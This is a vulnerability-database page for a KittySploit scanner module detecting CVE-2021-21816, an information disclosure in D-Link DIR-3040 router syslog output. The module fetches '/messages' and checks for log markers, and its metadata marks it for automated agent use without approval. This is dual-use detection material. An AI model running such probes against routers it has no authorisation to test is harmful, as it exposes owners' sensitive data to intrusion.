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D-Link DIR-3040 1.13B03 - Information Disclosure Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

Information disclosure in D-Link DIR-3040 Syslog functionality via HTTP request.

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2021-21816
16 Jul 202111:15
–attackerkb
circl
Circl
CVE-2021-21816
27 Apr 202309:58
–circl
cnnvd
CNNVD
D-LINK DIR-3040 信息泄露漏洞
15 Jul 202100:00
–cnnvd
cnvd
CNVD
D-LINK DIR-3040 Information Disclosure Vulnerability (CNVD-2021-53338)
19 Jul 202100:00
–cnvd
cve
CVE
CVE-2021-21816
16 Jul 202110:28
–cve
cvelist
Cvelist
CVE-2021-21816
16 Jul 202110:28
–cvelist
nuclei
Nuclei
D-Link DIR-3040 1.13B03 - Information Disclosure
14 Oct 202602:05
–nuclei
nvd
NVD
CVE-2021-21816
16 Jul 202111:15
–nvd
openvas
OpenVAS
D-Link DIR-3040 < 1.13B03 Hotfix Multiple Vulnerabilities - Active Check
3 Aug 202100:00
–openvas
osv
OSV
CVE-2021-21816
16 Jul 202111:15
–osv
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""D-Link DIR-3040 1."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'D-Link DIR-3040 1.13B03 - Information Disclosure Detection',
        'description': 'D-Link DIR-3040 1.13B03 is susceptible to information disclosure in the Syslog functionality. A specially crafted HTTP network request can lead to the disclosure of sensitive information. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2021', 'dlink', 'exposure', 'router', 'syslog', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://talosintelligence.com/vulnerability_reports/TALOS-2021-1281',
            'https://nvd.nist.gov/vuln/detail/CVE-2021-21816',
            'https://github.com/ARPSyndicate/cvemon',
            'https://github.com/ARPSyndicate/kenzer-templates',
        ],
        'cve': 'CVE-2021-21816',
    }

    def run(self):
        r = self.http_request(method="GET", path='/messages', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_all = ('syslog:', '/etc_ro/lighttpd/www')
        if (all(m in body for m in body_all)):
            self.set_info(
                severity='medium',
                reason="D-Link DIR-3040 1.13B03 - Information Disclosure detected",
                path='/messages',
            )
            return True
        return False

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28 Jul 2026 11:27Current
6.5Medium risk
Vulners AI Score6.5
CVSS 3.14.3
CVSS 24.3
CVSS 36.5
EPSS0.32385
0